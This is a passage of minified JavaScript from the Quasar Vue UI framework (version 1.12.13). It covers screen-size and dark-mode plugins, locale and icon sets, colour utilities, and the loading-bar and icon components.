            !0 === i && void 0 === s && t.apply(this, o),
            s = setTimeout(function() {
                s = void 0,
                !0 !== i && t.apply(n, o)
            }, e)
        }
        return void 0 === e && (e = 250),
        n.cancel = function() {
            clearTimeout(s)
        }
        ,
        n
    }
    var M = ["sm", "md", "lg", "xl"]
      , L = d.passive
      , B = {
        width: 0,
        height: 0,
        name: "xs",
        sizes: {
            sm: 600,
            md: 1024,
            lg: 1440,
            xl: 1920
        },
        lt: {
            sm: !0,
            md: !0,
            lg: !0,
            xl: !0
        },
        gt: {
            xs: !1,
            sm: !1,
            md: !1,
            lg: !1
        },
        xs: !0,
        sm: !1,
        md: !1,
        lg: !1,
        xl: !1,
        setSizes: f,
        setDebounce: f,
        install: function(e, n, o) {
            var r = this;
            if (!0 !== i) {
                var a, l = void 0 !== o.screen && !0 === o.screen.bodyClasses, c = function(t) {
                    var e = window.innerWidth
                      , i = window.innerHeight;
                    if (i !== r.height && (r.height = i),
                    e !== r.width)
                        r.width = e;
                    else if (!0 !== t)
                        return;
                    var s = r.sizes;
                    r.gt.xs = e >= s.sm,
                    r.gt.sm = e >= s.md,
                    r.gt.md = e >= s.lg,
                    r.gt.lg = e >= s.xl,
                    r.lt.sm = e < s.sm,
                    r.lt.md = e < s.md,
                    r.lt.lg = e < s.lg,
                    r.lt.xl = e < s.xl,
                    r.xs = r.lt.sm,
                    r.sm = !0 === r.gt.xs && !0 === r.lt.md,
                    r.md = !0 === r.gt.sm && !0 === r.lt.lg,
                    r.lg = !0 === r.gt.md && !0 === r.lt.xl,
                    r.xl = r.gt.lg,
                    (s = (!0 === r.xs ? "xs" : !0 === r.sm && "sm") || !0 === r.md && "md" || !0 === r.lg && "lg" || "xl") !== r.name && (!0 === l && (document.body.classList.remove("screen--" + r.name),
                    document.body.classList.add("screen--" + s)),
                    r.name = s)
                }, u = {}, h = 16;
                this.setSizes = function(t) {
                    M.forEach(function(e) {
                        void 0 !== t[e] && (u[e] = t[e])
                    })
                }
                ,
                this.setDebounce = function(t) {
                    h = t
                }
                ;
                var d = function() {
                    var t = getComputedStyle(document.body)
                      , e = void 0 !== window.visualViewport ? window.visualViewport : window;
                    t.getPropertyValue("--q-size-sm") && M.forEach(function(e) {
                        r.sizes[e] = parseInt(t.getPropertyValue("--q-size-" + e), 10)
                    }),
                    r.setSizes = function(t) {
                        M.forEach(function(e) {
                            t[e] && (r.sizes[e] = t[e])
                        }),
                        c(!0)
                    }
                    ,
                    r.setDebounce = function(t) {
                        void 0 !== a && e.removeEventListener("resize", a, L),
                        a = t > 0 ? $(c, t) : c,
                        e.addEventListener("resize", a, L)
                    }
                    ,
                    r.setDebounce(h),
                    Object.keys(u).length > 0 ? (r.setSizes(u),
                    u = void 0) : c(),
                    !0 === l && "xs" === r.name && document.body.classList.add("screen--xs")
                };
                !0 === s ? n.takeover.push(d) : d(),
                t.util.defineReactive(e, "screen", this)
            } else
                e.screen = this
        }
    }
      , P = {
        isActive: !1,
        mode: !1,
        install: function(e, n, o) {
            var r = this
              , a = o.dark;
            if (this.isActive = !0 === a,
            !0 === i)
                return n.server.push(function(t, e) {
                    t.dark = {
                        isActive: !1,
                        mode: !1,
                        set: function(i) {
                            e.ssr.Q_BODY_CLASSES = e.ssr.Q_BODY_CLASSES.replace(" body--light", "").replace(" body--dark", "") + " body--" + (!0 === i ? "dark" : "light"),
                            t.dark.isActive = !0 === i,
                            t.dark.mode = i
                        },
                        toggle: function() {
                            t.dark.set(!1 === t.dark.isActive)
                        }
                    },
                    t.dark.set(a)
                }),
                void (this.set = f);
            var l = void 0 !== a && a;
            if (!0 === s) {
                var c = function(t) {
                    r.__fromSSR = t
                }
                  , u = this.set;
                this.set = c,
                c(l),
                n.takeover.push(function() {
                    r.set = u,
                    r.set(r.__fromSSR)
                })
            } else
                this.set(l);
            t.util.defineReactive(this, "isActive", this.isActive),
            t.util.defineReactive(e, "dark", this)
        },
        set: function(t) {
            var e = this;
            this.mode = t,
            "auto" === t ? (void 0 === this.__media && (this.__media = window.matchMedia("(prefers-color-scheme: dark)"),
            this.__updateMedia = function() {
                e.set("auto")
            }
            ,
            this.__media.addListener(this.__updateMedia)),
            t = this.__media.matches) : void 0 !== this.__media && (this.__media.removeListener(this.__updateMedia),
            this.__media = void 0),
            this.isActive = !0 === t,
            document.body.classList.remove("body--" + (!0 === t ? "light" : "dark")),
            document.body.classList.add("body--" + (!0 === t ? "dark" : "light"))
        },
        toggle: function() {
            P.set(!1 === P.isActive)
        },
        __media: void 0
    }
      , O = function() {
        return !0
    };
    function E(t) {
        return "string" == typeof t && "" !== t && "/" !== t && "#/" !== t
    }
    function z(t) {
        return !0 === t.startsWith("#") && (t = t.substr(1)),
        !1 === t.startsWith("/") && (t = "/" + t),
        !0 === t.endsWith("/") && (t = t.substr(0, t.length - 1)),
        "#" + t
    }
    var A = {
        __history: [],
        add: f,
        remove: f,
        install: function(t) {
            var e = this;
            if (!0 !== i) {
                var s = u.is
                  , n = s.cordova
                  , o = s.capacitor;
                if (!0 === n || !0 === o) {
                    this.add = function(t) {
                        void 0 === t.condition && (t.condition = O),
                        e.__history.push(t)
                    }
                    ,
                    this.remove = function(t) {
                        var i = e.__history.indexOf(t);
                        i >= 0 && e.__history.splice(i, 1)
                    }
                    ;
                    var r = function(t) {
                        if (!1 === t.backButtonExit)
                            return function() {
                                return !1
                            }
                            ;
                        if ("*" === t.backButtonExit)
                            return O;
                        var e = ["#/"];
                        return !0 === Array.isArray(t.backButtonExit) && e.push.apply(e, t.backButtonExit.filter(E).map(z)),
                        function() {
                            return e.includes(window.location.hash)
                        }
                    }(Object.assign({
                        backButtonExit: !0
                    }, t[!0 === n ? "cordova" : "capacitor"]))
                      , a = function() {
                        if (e.__history.length) {
                            var t = e.__history[e.__history.length - 1];
                            !0 === t.condition() && (e.__history.pop(),
                            t.handler())
                        } else
                            !0 === r() ? navigator.app.exitApp() : window.history.back()
                    };
                    !0 === n ? document.addEventListener("deviceready", function() {
                        document.addEventListener("backbutton", a, !1)
                    }) : window.Capacitor.Plugins.App.addListener("backButton", a)
                }
            }
        }
    }
      , D = {
        isoName: "en-us",
        nativeName: "English (US)",
        label: {
            clear: "Clear",
            ok: "OK",
            cancel: "Cancel",
            close: "Close",
            set: "Set",
            select: "Select",
            reset: "Reset",
            remove: "Remove",
            update: "Update",
            create: "Create",
            search: "Search",
            filter: "Filter",
            refresh: "Refresh"
        },
        date: {
            days: "Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),
            daysShort: "Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),
            months: "January_February_March_April_May_June_July_August_September_October_November_December".split("_"),
            monthsShort: "Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),
            firstDayOfWeek: 0,
            format24h: !1
        },
        table: {
            noData: "No data available",
            noResults: "No matching records found",
            loading: "Loading...",
            selectedRecords: function(t) {
                return 1 === t ? "1 record selected." : (0 === t ? "No" : t) + " records selected."
            },
            recordsPerPage: "Records per page:",
            allRows: "All",
            pagination: function(t, e, i) {
                return t + "-" + e + " of " + i
            },
            columns: "Columns"
        },
        editor: {
            url: "URL",
            bold: "Bold",
            italic: "Italic",
            strikethrough: "Strikethrough",
            underline: "Underline",
            unorderedList: "Unordered List",
            orderedList: "Ordered List",
            subscript: "Subscript",
            superscript: "Superscript",
            hyperlink: "Hyperlink",
            toggleFullscreen: "Toggle Fullscreen",
            quote: "Quote",
            left: "Left align",
            center: "Center align",
            right: "Right align",
            justify: "Justify align",
            print: "Print",
            outdent: "Decrease indentation",
            indent: "Increase indentation",
            removeFormat: "Remove formatting",
            formatting: "Formatting",
            fontSize: "Font Size",
            align: "Align",
            hr: "Insert Horizontal Rule",
            undo: "Undo",
            redo: "Redo",
            heading1: "Heading 1",
            heading2: "Heading 2",
            heading3: "Heading 3",
            heading4: "Heading 4",
            heading5: "Heading 5",
            heading6: "Heading 6",
            paragraph: "Paragraph",
            code: "Code",
            size1: "Very small",
            size2: "A bit small",
            size3: "Normal",
            size4: "Medium-large",
            size5: "Big",
            size6: "Very big",
            size7: "Maximum",
            defaultFont: "Default Font",
            viewSource: "View Source"
        },
        tree: {
            noNodes: "No nodes available",
            noResults: "No matching nodes found"
        }
    };
    function R() {
        if (!0 !== i) {
            var t = navigator.language || navigator.languages[0] || navigator.browserLanguage || navigator.userLanguage || navigator.systemLanguage;
            return t ? t.toLowerCase() : void 0
        }
    }
    var I = {
        getLocale: R,
        install: function(e, n, o) {
            var r = this
              , a = o || D;
            this.set = function(t, n) {
                void 0 === t && (t = D);
                var o = Object.assign({}, t, {
                    rtl: !0 === t.rtl,
                    getLocale: R
                });
                if (!0 === i) {
                    if (void 0 === n)
                        return void console.error("SSR ERROR: second param required: Quasar.lang.set(lang, ssrContext)");
                    var a = !0 === o.rtl ? "rtl" : "ltr"
                      , l = "lang=" + o.isoName + " dir=" + a;
                    o.set = n.$q.lang.set,
                    n.Q_HTML_ATTRS = void 0 !== n.Q_PREV_LANG ? n.Q_HTML_ATTRS.replace(n.Q_PREV_LANG, l) : l,
                    n.Q_PREV_LANG = l,
                    n.$q.lang = o
                } else {
                    if (!1 === s) {
                        var c = document.documentElement;
                        c.setAttribute("dir", !0 === o.rtl ? "rtl" : "ltr"),
                        c.setAttribute("lang", o.isoName)
                    }
                    o.set = r.set,
                    e.lang = r.props = o,
                    r.isoName = o.isoName,
                    r.nativeName = o.nativeName
                }
            }
            ,
            !0 === i ? (n.server.push(function(t, e) {
                t.lang = {},
                t.lang.set = function(t) {
                    r.set(t, e.ssr)
                }
                ,
                t.lang.set(a)
            }),
            this.isoName = a.isoName,
            this.nativeName = a.nativeName,
            this.props = a) : (t.util.defineReactive(e, "lang", {}),
            this.set(a))
        }
    }
      , F = /^rgb(a)?\((\d{1,3}),(\d{1,3}),(\d{1,3}),?([01]?\.?\d*?)?\)$/;
    function j(t) {
        var e = t.r
          , i = t.g
          , s = t.b
          , n = t.a
          , o = void 0 !== n;
        if (e = Math.round(e),
        i = Math.round(i),
        s = Math.round(s),
        e > 255 || i > 255 || s > 255 || o && n > 100)
            throw new TypeError("Expected 3 numbers below 256 (and optionally one below 100)");
        return n = o ? (256 | Math.round(255 * n / 100)).toString(16).slice(1) : "",
        "#" + (s | i << 8 | e << 16 | 1 << 24).toString(16).slice(1) + n
    }
    function V(t) {
        var e = t.r
          , i = t.g
          , s = t.b
          , n = t.a;
        return "rgb" + (void 0 !== n ? "a" : "") + "(" + e + "," + i + "," + s + (void 0 !== n ? "," + n / 100 : "") + ")"
    }
    function N(t) {
        if ("string" != typeof t)
            throw new TypeError("Expected a string");
        3 === (t = t.replace(/^#/, "")).length ? t = t[0] + t[0] + t[1] + t[1] + t[2] + t[2] : 4 === t.length && (t = t[0] + t[0] + t[1] + t[1] + t[2] + t[2] + t[3] + t[3]);
        var e = parseInt(t, 16);
        return t.length > 6 ? {
            r: e >> 24 & 255,
            g: e >> 16 & 255,
            b: e >> 8 & 255,
            a: Math.round((255 & e) / 2.55)
        } : {
            r: e >> 16,
            g: e >> 8 & 255,
            b: 255 & e
        }
    }
    function H(t) {
        var e, i, s, n = t.h, o = t.s, r = t.v, a = t.a;
        o /= 100,
        r /= 100,
        n /= 360;
        var l = Math.floor(6 * n)
          , c = 6 * n - l
          , u = r * (1 - o)
          , h = r * (1 - c * o)
          , d = r * (1 - (1 - c) * o);
        switch (l % 6) {
        case 0:
            e = r,
            i = d,
            s = u;
            break;
        case 1:
            e = h,
            i = r,
            s = u;
            break;
        case 2:
            e = u,
            i = r,
            s = d;
            break;
        case 3:
            e = u,
            i = h,
            s = r;
            break;
        case 4:
            e = d,
            i = u,
            s = r;
            break;
        case 5:
            e = r,
            i = u,
            s = h
        }
        return {
            r: Math.round(255 * e),
            g: Math.round(255 * i),
            b: Math.round(255 * s),
            a: a
        }
    }
    function Q(t) {
        var e, i = t.r, s = t.g, n = t.b, o = t.a, r = Math.max(i, s, n), a = Math.min(i, s, n), l = r - a, c = 0 === r ? 0 : l / r, u = r / 255;
        switch (r) {
        case a:
            e = 0;
            break;
        case i:
            e = s - n + l * (s < n ? 6 : 0),
            e /= 6 * l;
            break;
        case s:
            e = n - i + 2 * l,
            e /= 6 * l;
            break;
        case n:
            e = i - s + 4 * l,
            e /= 6 * l
        }
        return {
            h: Math.round(360 * e),
            s: Math.round(100 * c),
            v: Math.round(100 * u),
            a: o
        }
    }
    function W(t) {
        if ("string" != typeof t)
            throw new TypeError("Expected a string");
        var e = t.replace(/ /g, "")
          , i = F.exec(e);
        if (null === i)
            return N(e);
        var s = {
            r: Math.min(255, parseInt(i[2], 10)),
            g: Math.min(255, parseInt(i[3], 10)),
            b: Math.min(255, parseInt(i[4], 10))
        };
        if (i[1]) {
            var n = parseFloat(i[5]);
            s.a = 100 * Math.min(1, !0 === isNaN(n) ? 1 : n)
        }
        return s
    }
    function Y(t) {
        if ("string" != typeof t && (!t || void 0 === t.r))
            throw new TypeError("Expected a string or a {r, g, b} object as color");
        var e = "string" == typeof t ? W(t) : t
          , i = e.r / 255
          , s = e.g / 255
          , n = e.b / 255;
        return .2126 * (i <= .03928 ? i / 12.92 : Math.pow((i + .055) / 1.055, 2.4)) + .7152 * (s <= .03928 ? s / 12.92 : Math.pow((s + .055) / 1.055, 2.4)) + .0722 * (n <= .03928 ? n / 12.92 : Math.pow((n + .055) / 1.055, 2.4))
    }
    function U(t, e, i) {
        if (void 0 === i && (i = document.body),
        "string" != typeof t)
            throw new TypeError("Expected a string as color");
        if ("string" != typeof e)
            throw new TypeError("Expected a string as value");
        if (!(i instanceof Element))
            throw new TypeError("Expected a DOM element");
        i.style.setProperty("--q-color-" + t, e)
    }
    function K(t, e) {
        if (void 0 === e && (e = document.body),
        "string" != typeof t)
            throw new TypeError("Expected a string as color");
        if (!(e instanceof Element))
            throw new TypeError("Expected a DOM element");
        return getComputedStyle(e).getPropertyValue("--q-color-" + t).trim() || null
    }
    var X = {
        rgbToHex: j,
        hexToRgb: N,
        hsvToRgb: H,
        rgbToHsv: Q,
        textToRgb: W,
        lighten: function(t, e) {
            if ("string" != typeof t)
                throw new TypeError("Expected a string as color");
            if ("number" != typeof e)
                throw new TypeError("Expected a numeric percent");
            var i = W(t)
              , s = e < 0 ? 0 : 255
              , n = Math.abs(e) / 100
              , o = i.r
              , r = i.g
              , a = i.b;
            return "#" + (16777216 + 65536 * (Math.round((s - o) * n) + o) + 256 * (Math.round((s - r) * n) + r) + (Math.round((s - a) * n) + a)).toString(16).slice(1)
        },
        luminosity: Y,
        brightness: function(t) {
            if ("string" != typeof t && (!t || void 0 === t.r))
                throw new TypeError("Expected a string or a {r, g, b} object as color");
            var e = "string" == typeof t ? W(t) : t;
            return (299 * e.r + 587 * e.g + 114 * e.b) / 1e3
        },
        blend: function(t, e) {
            if ("string" != typeof t && (!t || void 0 === t.r))
                throw new TypeError("Expected a string or a {r, g, b[, a]} object as fgColor");
            if ("string" != typeof e && (!e || void 0 === e.r))
                throw new TypeError("Expected a string or a {r, g, b[, a]} object as bgColor");
            var i = "string" == typeof t ? W(t) : t
              , s = i.r / 255
              , n = i.g / 255
              , o = i.b / 255
              , r = void 0 !== i.a ? i.a / 100 : 1
              , a = "string" == typeof e ? W(e) : e
              , l = a.r / 255
              , c = a.g / 255
              , u = a.b / 255
              , h = void 0 !== a.a ? a.a / 100 : 1
              , d = r + h * (1 - r)
              , p = {
                r: Math.round((s * r + l * h * (1 - r)) / d * 255),
                g: Math.round((n * r + c * h * (1 - r)) / d * 255),
                b: Math.round((o * r + u * h * (1 - r)) / d * 255),
                a: Math.round(100 * d)
            };
            return "string" == typeof t ? j(p) : p
        },
        changeAlpha: function(t, e) {
            if ("string" != typeof t)
                throw new TypeError("Expected a string as color");
            if (void 0 === e || e < -1 || e > 1)
                throw new TypeError("Expected offset to be between -1 and 1");
            var i = W(t)
              , s = i.r
              , n = i.g
              , o = i.b
              , r = i.a
              , a = void 0 !== r ? r / 100 : 0;
            return j({
                r: s,
                g: n,
                b: o,
                a: Math.round(100 * Math.min(1, Math.max(0, a + e)))
            })
        },
        setBrand: U,
        getBrand: K,
        getPaletteColor: function(t) {
            if ("string" != typeof t)
                throw new TypeError("Expected a string as color");
            var e = document.createElement("div");
            e.className = "text-" + t + " invisible fixed no-pointer-events",
            document.body.appendChild(e);
            var i = getComputedStyle(e).getPropertyValue("color");
            return e.remove(),
            j(W(i))
        }
    }
      , G = !1;
    function Z(t) {
        G = !0 === t.isComposing
    }
    function J(t) {
        return !0 === G || t !== Object(t) || !0 === t.isComposing || !0 === t.qKeyEvent
    }
    function tt(t, e) {
        return !0 !== J(t) && [].concat(e).includes(t.keyCode)
    }
    function et(t, e) {
        var i = t.is
          , s = t.has
          , n = t.within
          , o = [!0 === i.desktop ? "desktop" : "mobile", (!1 === s.touch ? "no-" : "") + "touch"];
        if (!0 === i.mobile) {
            var r = function(t) {
                return !0 === t.ios ? "ios" : !0 === t.android ? "android" : void 0
            }(i);
            void 0 !== r && o.push("platform-" + r)
        }
        if (!0 === i.nativeMobile) {
            var a = i.nativeMobileWrapper;
            o.push(a),
            o.push("native-mobile"),
            !0 !== i.ios || void 0 !== e[a] && !1 === e[a].iosStatusBarPadding || o.push("q-ios-padding")
        } else
            !0 === i.electron ? o.push("electron") : !0 === i.bex && o.push("bex");
        return !0 === n.iframe && o.push("within-iframe"),
        o
    }
    var it = {
        install: function(t, n) {
            if (!0 !== i) {
                if (!0 === s)
                    r = document.body.className,
                    a = r,
                    void 0 !== e && (a = a.replace("desktop", "platform-ios mobile")),
                    !0 === u.has.touch && (a = a.replace("no-touch", "touch")),
                    !0 === u.within.iframe && (a += " within-iframe"),
                    r !== a && (document.body.className = a);
                else {
                    var o = et(u, n);
                    !0 === u.is.ie && 11 === u.is.versionNumber ? o.forEach(function(t) {
                        return document.body.classList.add(t)
                    }) : document.body.classList.add.apply(document.body.classList, o)
                }
                var r, a;
                void 0 !== n.brand && function(t) {
                    for (var e in t)
                        U(e, t[e])
                }(n.brand),
                !0 === u.is.ios && document.body.addEventListener("touchstart", f),
                window.addEventListener("keydown", Z, !0)
            } else
                t.server.push(function(t, e) {
                    var i = et(t.platform, n)
                      , s = e.ssr.setBodyClasses;
                    void 0 !== n.screen && !0 === n.screen.bodyClass && i.push("screen--xs"),
                    "function" == typeof s ? s(i) : e.ssr.Q_BODY_CLASSES = i.join(" ")
                })
        }
    }
      , st = {
        name: "material-icons",
        type: {
            positive: "check_circle",
            negative: "warning",
            info: "info",
            warning: "priority_high"
        },
        arrow: {
            up: "arrow_upward",
            right: "arrow_forward",
            down: "arrow_downward",
            left: "arrow_back",
            dropdown: "arrow_drop_down"
        },
        chevron: {
            left: "chevron_left",
            right: "chevron_right"
        },
        colorPicker: {
            spectrum: "gradient",
            tune: "tune",
            palette: "style"
        },
        pullToRefresh: {
            icon: "refresh"
        },
        carousel: {
            left: "chevron_left",
            right: "chevron_right",
            up: "keyboard_arrow_up",
            down: "keyboard_arrow_down",
            navigationIcon: "lens"
        },
        chip: {
            remove: "cancel",
            selected: "check"
        },
        datetime: {
            arrowLeft: "chevron_left",
            arrowRight: "chevron_right",
            now: "access_time",
            today: "today"
        },
        editor: {
            bold: "format_bold",
            italic: "format_italic",
            strikethrough: "strikethrough_s",
            underline: "format_underlined",
            unorderedList: "format_list_bulleted",
            orderedList: "format_list_numbered",
            subscript: "vertical_align_bottom",
            superscript: "vertical_align_top",
            hyperlink: "link",
            toggleFullscreen: "fullscreen",
            quote: "format_quote",
            left: "format_align_left",
            center: "format_align_center",
            right: "format_align_right",
            justify: "format_align_justify",
            print: "print",
            outdent: "format_indent_decrease",
            indent: "format_indent_increase",
            removeFormat: "format_clear",
            formatting: "text_format",
            fontSize: "format_size",
            align: "format_align_left",
            hr: "remove",
            undo: "undo",
            redo: "redo",
            heading: "format_size",
            code: "code",
            size: "format_size",
            font: "font_download",
            viewSource: "code"
        },
        expansionItem: {
            icon: "keyboard_arrow_down",
            denseIcon: "arrow_drop_down"
        },
        fab: {
            icon: "add",
            activeIcon: "close"
        },
        field: {
            clear: "cancel",
            error: "error"
        },
        pagination: {
            first: "first_page",
            prev: "keyboard_arrow_left",
            next: "keyboard_arrow_right",
            last: "last_page"
        },
        rating: {
            icon: "grade"
        },
        stepper: {
            done: "check",
            active: "edit",
            error: "warning"
        },
        tabs: {
            left: "chevron_left",
            right: "chevron_right",
            up: "keyboard_arrow_up",
            down: "keyboard_arrow_down"
        },
        table: {
            arrowUp: "arrow_upward",
            warning: "warning",
            firstPage: "first_page",
            prevPage: "chevron_left",
            nextPage: "chevron_right",
            lastPage: "last_page"
        },
        tree: {
            icon: "play_arrow"
        },
        uploader: {
            done: "done",
            clear: "clear",
            add: "add_box",
            upload: "cloud_upload",
            removeQueue: "clear_all",
            removeUploaded: "done_all"
        }
    }
      , nt = {
        install: function(e, s, n) {
            var o = this
              , r = n || st;
            this.set = function(t, s) {
                var n = Object.assign({}, t);
                if (!0 === i) {
                    if (void 0 === s)
                        return void console.error("SSR ERROR: second param required: Quasar.iconSet.set(iconSet, ssrContext)");
                    n.set = s.$q.iconSet.set,
                    s.$q.iconSet = n
                } else
                    n.set = o.set,
                    e.iconSet = n
            }
            ,
            !0 === i ? s.server.push(function(t, e) {
                t.iconSet = {},
                t.iconSet.set = function(t) {
                    o.set(t, e.ssr)
                }
                ,
                t.iconSet.set(r)
            }) : (t.util.defineReactive(e, "iconMapFn", void 0),
            t.util.defineReactive(e, "iconSet", {}),
            this.set(r))
        }
    }
      , ot = [h, B, P]
      , rt = {
        server: [],
        takeover: []
    }
      , at = {
        version: "1.12.13",
        config: {}
    };
    var lt = ["B", "KB", "MB", "GB", "TB", "PB"];
    function ct(t) {
        for (var e = 0; parseInt(t, 10) >= 1024 && e < lt.length - 1; )
            t /= 1024,
            ++e;
        return "" + t.toFixed(1) + lt[e]
    }
    function ut(t) {
        return t.charAt(0).toUpperCase() + t.slice(1)
    }
    function ht(t, e, i) {
        return i <= e ? e : Math.min(i, Math.max(e, t))
    }
    function dt(t, e, i) {
        if (i <= e)
            return e;
        var s = i - e + 1
          , n = e + (t - e) % s;
        return n < e && (n = s + n),
        0 === n ? 0 : n
    }
    function pt(t, e, i) {
        if (void 0 === e && (e = 2),
        void 0 === i && (i = "0"),
        void 0 === t || null === t)
            return t;
        var s = "" + t;
        return s.length >= e ? s : new Array(e - s.length + 1).join(i) + s
    }
    var ft = {
        humanStorageSize: ct,
        capitalize: ut,
        between: ht,
        normalizeToInterval: dt,
        pad: pt
    };
    function mt(t, e, s) {
        if (!0 === i)
            return s;
        var n = "__qcache_" + e;
        return void 0 === t[n] ? t[n] = s : t[n]
    }
    function vt(t, e) {
        var i;
        return {
            data: function() {
                var t;
                return (t = {})[e] = {},
                t
            },
            watch: (i = {},
            i[t] = {
                immediate: !0,
                handler: function(t, i) {
                    var s = this[e];
                    if (void 0 !== i)
                        for (var n in i)
                            void 0 === t[n] && this.$delete(s, n);
                    for (var o in t)
                        s[o] !== t[o] && this.$set(s, o, t[o])
                }
            },
            i)
        }
    }
    var gt = {
        "aria-hidden": "true"
    }
      , _t = vt("$attrs", "qAttrs")
      , bt = i ? null : XMLHttpRequest
      , yt = i ? null : bt.prototype.send
      , wt = []
      , St = []
      , xt = 0;
    var Ct = t.extend({
        name: "QAjaxBar",
        props: {
            position: {
                type: String,
                default: "top",
                validator: function(t) {
                    return ["top", "right", "bottom", "left"].includes(t)
                }
            },
            size: {
                type: String,
                default: "2px"
            },
            color: String,
            skipHijack: Boolean,
            reverse: Boolean
        },
        data: function() {
            return {
                calls: 0,
                progress: 0,
                onScreen: !1,
                animate: !0
            }
        },
        computed: {
            classes: function() {
                return "q-loading-bar q-loading-bar--" + this.position + (void 0 !== this.color ? " bg-" + this.color : "") + (!0 === this.animate ? "" : " no-transition")
            },
            style: function() {
                var t = this.onScreen
                  , e = function(t) {
                    var e = t.p
                      , i = t.pos
                      , s = t.active
                      , n = t.horiz
                      , o = t.reverse
                      , r = t.dir
                      , a = 1
                      , l = 1;
                    return n ? (o && (a = -1),
                    "bottom" === i && (l = -1),
                    {
                        transform: "translate3d(" + a * (e - 100) + "%," + (s ? 0 : -200 * l) + "%,0)"
                    }) : (o && (l = -1),
                    "right" === i && (a = -1),
                    {
                        transform: "translate3d(" + (s ? 0 : r * a * -200) + "%," + l * (e - 100) + "%,0)"
                    })
                }({
                    p: this.progress,
                    pos: this.position,
                    active: t,
                    horiz: this.horizontal,
                    reverse: !0 === this.$q.lang.rtl && ["top", "bottom"].includes(this.position) ? !this.reverse : this.reverse,
                    dir: !0 === this.$q.lang.rtl ? -1 : 1
                });
                return e[this.sizeProp] = this.size,
                e.opacity = t ? 1 : 0,
                e
            },
            horizontal: function() {
                return "top" === this.position || "bottom" === this.position
            },
            sizeProp: function() {
                return this.horizontal ? "height" : "width"
            },
            attrs: function() {
                return !0 === this.onScreen ? {
                    role: "progressbar",
                    "aria-valuemin": 0,
                    "aria-valuemax": 100,
                    "aria-valuenow": this.progress
                } : gt
            }
        },
        methods: {
            start: function(t) {
                var e = this;
                void 0 === t && (t = 300);
                var i = this.speed;
                this.speed = Math.max(0, t) || 0,
                this.calls++,
                this.calls > 1 ? 0 === i && t > 0 ? this.__work() : i > 0 && t <= 0 && clearTimeout(this.timer) : (clearTimeout(this.timer),
                this.$emit("start"),
                this.progress = 0,
                !0 !== this.onScreen && (this.onScreen = !0,
                this.animate = !1,
                this.timer = setTimeout(function() {
                    e.animate = !0,
                    t > 0 && e.__work()
                }, 100)))
            },
            increment: function(t) {
                this.calls > 0 && (this.progress = function(t, e) {
                    return "number" != typeof e && (e = t < 25 ? 3 * Math.random() + 3 : t < 65 ? 3 * Math.random() : t < 85 ? 2 * Math.random() : t < 99 ? .6 : 0),
                    ht(t + e, 0, 100)
                }(this.progress, t))
            },
            stop: function() {
                var t = this;
                if (this.calls = Math.max(0, this.calls - 1),
                !(this.calls > 0)) {
                    clearTimeout(this.timer),
                    this.$emit("stop");
                    var e = function() {
                        t.animate = !0,
                        t.progress = 100,
                        t.timer = setTimeout(function() {
                            t.onScreen = !1
                        }, 1e3)
                    };
                    0 === this.progress ? this.timer = setTimeout(e, 1) : e()
                }
            },
            __work: function() {
                var t = this;
                this.progress < 100 && (this.timer = setTimeout(function() {
                    t.increment(),
                    t.__work()
                }, this.speed))
            }
        },
        mounted: function() {
            !0 !== this.skipHijack && (this.hijacked = !0,
            function(t, e) {
                function i() {
                    St.forEach(function(t) {
                        t()
                    })
                }
                wt.push(t),
                St.push(e),
                ++xt > 1 || (bt.prototype.send = function() {
                    wt.forEach(function(t) {
                        t()
                    }),
                    this.addEventListener("loadend", i, !1),
                    yt.apply(this, arguments)
                }
                )
            }(this.start, this.stop))
        },
        beforeDestroy: function() {
            var t, e;
            clearTimeout(this.timer),
            !0 === this.hijacked && (t = this.start,
            e = this.stop,
            wt.splice(wt.indexOf(t), 1),
            St.splice(St.indexOf(e), 1),
            (xt = Math.max(0, xt - 1)) || (bt.prototype.send = yt))
        },
        render: function(t) {
            return t("div", {
                class: this.classes,
                style: this.style,
                attrs: this.attrs
            })
        }
    })
      , kt = {
        xs: 18,
        sm: 24,
        md: 32,
        lg: 38,
        xl: 46
    };
    function qt(t) {
        return {
            props: {
                size: String
            },
            computed: {
                sizeStyle: function() {
                    if (void 0 !== this.size)
                        return {
                            fontSize: this.size in t ? t[this.size] + "px" : this.size
                        }
                }
            }
        }
    }
    var Tt = qt(kt)
      , $t = {
        props: {
            tag: {
                type: String,
                default: "div"
            }
        }
    }
      , Mt = vt("$listeners", "qListeners");
    function Lt(t, e, i) {
        return void 0 !== t.$scopedSlots[e] ? t.$scopedSlots[e]() : i
    }
    function Bt(t, e, i) {
        return void 0 !== t.$scopedSlots[e] ? t.$scopedSlots[e]().slice() : i
    }
    function Pt(t, e, i) {
        return void 0 !== e.$scopedSlots[i] ? t.concat(e.$scopedSlots[i]()) : t
    }
    function Ot(t, e, i) {
        if (void 0 === e.$scopedSlots[i])
            return t;
        var s = e.$scopedSlots[i]();
        return void 0 !== t ? t.concat(s) : s
    }
    var Et = t.extend({
        name: "QIcon",
        mixins: [Mt, Tt, $t],
        props: {
            tag: {
                default: "i"
            },
            name: String,
            color: String,
            left: Boolean,
            right: Boolean
        },
        computed: {
            classes: function() {
                return "q-icon notranslate" + (!0 === this.left ? " on-left" : "") + (!0 === this.right ? " on-right" : "") + (void 0 !== this.color ? " text-" + this.color : "")
            },
            type: function() {
                var t, e = this, i = this.name;
                if (!i)
                    return {
                        none: !0,
                        cls: this.classes
                    };
                if (void 0 !== this.$q.iconMapFn) {
                    var s = this.$q.iconMapFn(i);
                    if (void 0 !== s) {
                        if (void 0 === s.icon)
                            return {
                                cls: s.cls + " " + this.classes,
                                content: void 0 !== s.content ? s.content : " "
                            };
                        i = s.icon
                    }
                }
                if (!0 === i.startsWith("M")) {
                    var n = i.split("|")
                      , o = n[0]
                      , r = n[1];
                    return {
                        svg: !0,
                        cls: this.classes,
                        nodes: o.split("&&").map(function(t) {
                            var i = t.split("@@")
                              , s = i[0]
                              , n = i[1]
                              , o = i[2];
                            return e.$createElement("path", {
                                attrs: {
                                    d: s,
                                    transform: o
                                },
                                style: n
                            })
                        }),
                        viewBox: void 0 !== r ? r : "0 0 24 24"
                    }
                }
                if (!0 === i.startsWith("img:"))
                    return {
                        img: !0,
                        cls: this.classes,
                        src: i.substring(4)
                    };
                if (!0 === i.startsWith("svguse:"))
                    return {
                        svguse: !0,
                        cls: this.classes,
                        src: i.substring(7)
                    };
                var a = " ";
